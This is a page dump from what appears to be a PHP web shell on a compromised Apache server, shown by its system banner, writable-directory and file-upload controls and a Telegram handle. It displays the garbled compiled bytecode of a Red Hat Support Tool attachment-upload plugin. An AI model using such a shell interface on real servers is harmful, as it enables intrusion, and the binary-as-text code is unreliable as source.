https://t.me/AnonymousX5
Server : Apache
System : Linux cvar2.toservers.com 3.10.0-962.3.2.lve1.5.73.el7.x86_64 #1 SMP Wed Aug 24 21:31:23 UTC 2022 x86_64
User : njnconst ( 1116)
PHP Version : 8.4.18
Disable Function : NONE
Directory :  /lib/python2.7/site-packages/redhat_support_tool/plugins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python2.7/site-packages/redhat_support_tool/plugins/add_attachment.pyc
�
��Tc@sEddlmZmZddlmZmZddlmZddlmZddl	m
Z
mZddlm
Z
ddlmZmZmZddlmZdd	ljjZdd	ljjZdd	ljjZdd	lZdd	lZdd	lZdd	lZd
ZdZej d�Z!ej"�Z#d
e
fd��YZ$d	S(i����(tOptiont
SUPPRESS_HELP(tRequestErrortConnectionError(tEmptyValueError(t_(tPlugintObjectDisplayOption(t
AddComment(t	apihelpertcommontconfighelper(tLaunchHelperNs%Keith Robertson <kroberts@redhat.com>s&Spenser Shumaker <sshumake@redhat.com>s*redhat_support_tool.plugins.add_attachmentt
AddAttachmentcBs�eZdZdZdZdZdZeZ	eZ
ejZ
ed��Zed��Zed��Zed��Zd�Zd�Zd�Zd�Zd	�Zd
�Zd�ZRS(
t
addattachmentcCs
td�S(s�
        The usage statement that will be printed by OptionParser.

        Example:
            - %prog -c CASENUMBER [options] <comment text here>
        Important: %prog is a OptionParser built-in.  Use it!
        s+%prog -c CASENUMBER [options] /path/to/file(R(tcls((sN/usr/lib/python2.7/site-packages/redhat_support_tool/plugins/add_attachment.pyt	get_usage5s	cCstd�|jS(s�
        The description statement that will be printed by OptionParser.

        Example:
            - 'Use the '%s' command to add a comment to a case.'             % cls.plugin_name
        s4Use the '%s' command to add an attachment to a case.(Rtplugin_name(R((sN/usr/lib/python2.7/site-packages/redhat_support_tool/plugins/add_attachment.pytget_desc@s		cCs td�|j|j|jfS(s
        The epilog string that will be printed by OptionParser.  Usually
        used to print an example of how to use the program.

        Example:
         Examples:
          - %s -c 12345678 Lorem ipsum dolor sit amet, consectetur adipisicing
          - %s -c 12345678
        s�Examples:
- %s -c 12345678 /var/log/messages
- %s -c 12345678 -d 'The log file containing the error' /var/log/messages
- %s -c 12345678(RR(R((sN/usr/lib/python2.7/site-packages/redhat_support_tool/plugins/add_attachment.pyt
get_epilogLs	cs}|jdd�td��td��td����fd�}����fd�}tddd	d
dtd�d
t�tddd	ddtd
d(�tddd	ddtd�d
t�tddd	dddd|dtd��tddd	dddd|dtd���tdd d	d!dd"d
tdtd#tj��td$d%d	d&dd"d
tdtd'��gS()sO
        Subclasses that need command line options should override this method
        and return an array of optparse.Option(s) to be used by the
        OptionParser.

        Example:
         return [Option("-f", "--file", action="store",
                        dest="filename", help='Some file'),
                 Option("-c", "--case",
                        action="store", dest="casenumber",
                        help='A case')]

         Would produce the following:
         Command (? for help): help mycommand

         Usage: mycommand [options]

         Use the 'mycommand' command to find a knowledge base solution by ID
         Options:
           -h, --help  show this help message and exit
           -f, --file  Some file
           -c, --case  A case
         Example:
          - mycommand -c 12345 -f abc.txt

        is>ERROR: can't use -s/--split and -x/--no-split options togethersDERROR: -s/--split takes at most one optional argument (found %d: %s)sSERROR: the optional argument to -s/--split must be an integer between 1 and %d (MB)cs6|jjdk	r&�GHt���nt|j_dS(s�
            Callback function for -x/--no-split option
            - Report error if the -s/--split option has already been seen
            N(tvaluestsplittNonet	ExceptiontTruetnosplit(toptiontopt_strtvaluetparser(terrmsg1(sN/usr/lib/python2.7/site-packages/redhat_support_tool/plugins/add_attachment.pytcheck_nosplit_callback�scs�|jjd	k	r&�GHt���n|d	ks8t�g}d�}xw|jD]l}|d dkr}t|�dkr}Pn|d dkr�t|�dkr�||�r�Pn|j|�qQWt|�dkr��}n�t|�dkr�t|�dj|�fGHt���neyt	|d�}Wn"t
k
rS�GHt���nX|�ksl|dkr��GHt���n|jt|�4t|j_|dd|j_
d	S(
sk
            Callback function for -s/--split option
            - Report error if the -x/--no-split option has already been seen
            The -s/--split option can take 0 or 1 arguments
            - With 0 args - use the default max_split_size
            - With 1 arg  - the argument sets the split size
            - With >1 arg - report error
            cSs+yt|�tSWntk
r&tSXdS(N(tfloatRt
ValueErrortFalse(targ((sN/usr/lib/python2.7/site-packages/redhat_support_tool/plugins/add_attachment.pyt	floatable�s


is--it-it iN(RRRRtAssertionErrortrargstlentappendtjointintR!RRt	splitsize(RRRRR$R#R-(Rterrmsg2terrmsg3tmax_split_size_mb(sN/usr/lib/python2.7/site-packages/redhat_support_tool/plugins/add_attachment.pytset_split_size_callback�s8		"/	
s-cs--casenumbertdestt
casenumberthelpsBThe case number from which the comment should be added. (required)tdefaults-ps--publictpublics-ds
--descriptiontdescriptions�A description for the attachment. The Red Hat Support Tool will generate a default description for the attachment if none is provided that contains the name of the file and the RPM package to which it belongs if available. (optional)s-xs
--no-splitRtactiontcallbackssDo not attempt to split uploaded files, upload may fail as a result if an alternative destination is not available.s-ss--splitRs�The uploaded attachment file will be intentionally split.  An optional size parameter (in MB) can be supplied and the attachment will be split into 'size' (MB) chunks.  Default/Maximum chunk size: %d (MB)s-fs	--use-ftptuseftpt
store_trues<Upload via FTP to %s instead of the Red Hat Customer Portal.s-zs
--no-compresst
nocompresssEIf the attachment file is uncompressed, don't compress it for upload.N(tmax_split_sizeRRR"RRt	libconfigtftp_host(RRR1((RR.R/R0sN/usr/lib/python2.7/site-packages/redhat_support_tool/plugins/add_attachment.pytget_options^s:

3

cCsA|jr=tjj|j�r=tjtjj|j��ndS(N(tcompressed_attachmenttostpathtexiststshutiltrmtreetdirname(tself((sN/usr/lib/python2.7/site-packages/redhat_support_tool/plugins/add_attachment.pyt_remove_compressed_attachments�s	cCs�td|j�}td�}|jds�tj�r�x�tr�ttd��}t|�j�}|ss|GHq;|dkr�H|j	�t
��q;yt|�||jd<PWq;tk
r�||GHq;Xq;Wq�|GH|j	�t
|��ndS(Ns!ERROR: %s requires a case number.s%ERROR: %s is not a valid case number.R3s/Please provide a case number (or 'q' to exit): tq(
RRt_optionsR
tis_interactiveRt	raw_inputtstrtstripRIRR,R!(RHRR.tline((sN/usr/lib/python2.7/site-packages/redhat_support_tool/plugins/add_attachment.pyt_check_case_number�s,
	




cCs|jrd|jd<dStj�r�|jds�ttd��}t|�j�}|dkrzH|j	�t
��nt|�j�r�||jd<q�q�n|jdsdtjj
|j�}y-tj|j�}|r�|d|7}nWnnX||jd<ndS(NR7sJPlease provide a description or enter to accept default (or 'q' to exit): RJs[RHST] File %ss from package %s(tuse_ftpRRKR
RLRMRRNRORIRRBRCtbasenamet
attachmenttreporthelpertrpm_for_file(RHRPR7tpackage((sN/usr/lib/python2.7/site-packages/redhat_support_tool/plugins/add_attachment.pyt_check_description�s,	



cCs�tj�jdd�r�tj�r�|jddkr�ttd��}t	|�j
�j�dkrwt|jd<q�t
|jd<q�n
t
|jd<dS(NRtponiesR6s#Is this a public attachment (Y/n)? tn(Rtget_config_helpertgetR
RLRKRRMRRNROtlowerR"R(RHRP((sN/usr/lib/python2.7/site-packages/redhat_support_tool/plugins/add_attachment.pyt_check_is_publicscCs�td�|j}d|_|jr�|jd|_tjj|j�|_tjj|j�sNtd�|j}|GHt	|��qNn�t
j�r=x�tr9t
td��}t|�j�dkr�Ht	��nt|�j�}||_tjj|j�|_tjj|j�r$Pq�td�|jGHq�Wn|GHt	|��|j|_|jd|_|jdp�tj|j�s�td|j�Gtjj�tj|j�|_|jr�td	�GH|j|_q�n|jd
r�t|_dStjj|j�}|jdr�|jr�||jkr�t
j�r�t
td�tjj|j��}t|�j�j�d
kr�t|_tdtj �GHdSn|jds�t|_dSt|_ndS(Ns$ERROR: %s requires a path to a file.isERROR: %s is not a valid file.s;Please provide the full path to the file (or 'q' to exit): RJR:R<sCompressing %s for upload ...scompleted successfully.RRsu%s is too large to upload to the Red Hat Customer Portal, would you like to split the file before uploading ([y]/n)? RZs6The attachment will be uploaded via FTP to %s instead.(!RRRRTt_argsRBRCt
expandusertisfileRR
RLRRMRNROtupload_fileRKRRt	ftphelpertis_compressed_filetsyststdouttflushtcompress_attachmentRAtsplit_attachmenttgetsizeR=RSR]R>R?(RHtmsgRPtattachment_size((sN/usr/lib/python2.7/site-packages/redhat_support_tool/plugins/add_attachment.pyt_check_file(sl	
					

	
		
	cCs,|j�|j�|j�|j�dS(N(RmRQRXR^(RH((sN/usr/lib/python2.7/site-packages/redhat_support_tool/plugins/add_attachment.pyt
validate_argsis


c
Cs6d}d}|jr!tj}nd}|jd}tjj|j�}z�y�t	j
�}td||f�Gtj
j�|jrIidd6gd6|jjd|j�d6}|jjd	|d
|jd
d|jd|d
|jd
d|j�}|r�td�GHtd|�}x)|dD]}|td|�7}q%Wq�n}|jjd	|d
|jd
d|jd
|jd
d|j�}|r�td�GH|jr�tdtj||f�}q�n|dkr�t��n|rtt�}	tdd|g�}
|	jd||
�nWntk
rg}td�t|�}td|�GHtj|��n�tk
r�}
td|
j�}td|�GHtj|��nwtk
r�td�}td|�GHtj|��n<tk
r!td�}td|�GHtj|��nXWd|j �HXdS(Nsthe caseR3sUploading %s to %s ...itnumtnamesR-tsizet
caseNumberR6tfileNamet	fileChunkR7tuseFtpscompleted successfully.s6[RHST] The following split files were uploaded to %s:
s
    %ss>[RHST] The following attachment was uploaded to %s:

    %s-%ss-c %ss	ERROR: %ssfailed.
sAERROR: Unable to connect to support services API.  Reason: %s    saERROR: Problem connecting to the support services API.  Is the service accessible from this host?svERROR: Problem encountered whilst uploading the attachment.  Please consult the Red Hat Support Tool logs for details.(!RRRR>R?RKRBRCRSRbR	tget_apiRReRfRgRiR\R=tattachmentstaddRRRRtrunRRNtloggerterrorRtreasonRRI(RHtapit	updatemsgt	uploadlocRrtuploadBaseNametchunktretValt
chunk_nametlhtcomment_displayoptteveRktre((sN/usr/lib/python2.7/site-packages/redhat_support_tool/plugins/add_attachment.pytnon_interactive_actionos�	
	
	
	


	
			







N(t__name__t
__module__RRtcommentRTRARbR"RiRRR>tattachment_max_sizeR=tclassmethodRRRR@RIRQRXR^RmRnR�(((sN/usr/lib/python2.7/site-packages/redhat_support_tool/plugins/add_attachment.pyR
+s&	�					A	(%toptparseRRt(redhat_support_lib.infrastructure.errorsRRt(redhat_support_tool.helpers.confighelperRRtredhat_support_tool.pluginsRRt'redhat_support_tool.plugins.add_commentRtredhat_support_tool.helpersR	R
Rt(redhat_support_tool.helpers.launchhelperRt%redhat_support_lib.utils.reporthelpertutilsRUt%redhat_support_lib.utils.confighelpertlibconfighelpert"redhat_support_lib.utils.ftphelperRcRBReREtloggingt
__author__t	getLoggerRzR[R>R
(((sN/usr/lib/python2.7/site-packages/redhat_support_tool/plugins/add_attachment.pyt<module>s&

https://t.me/AnonymousX5 - 2025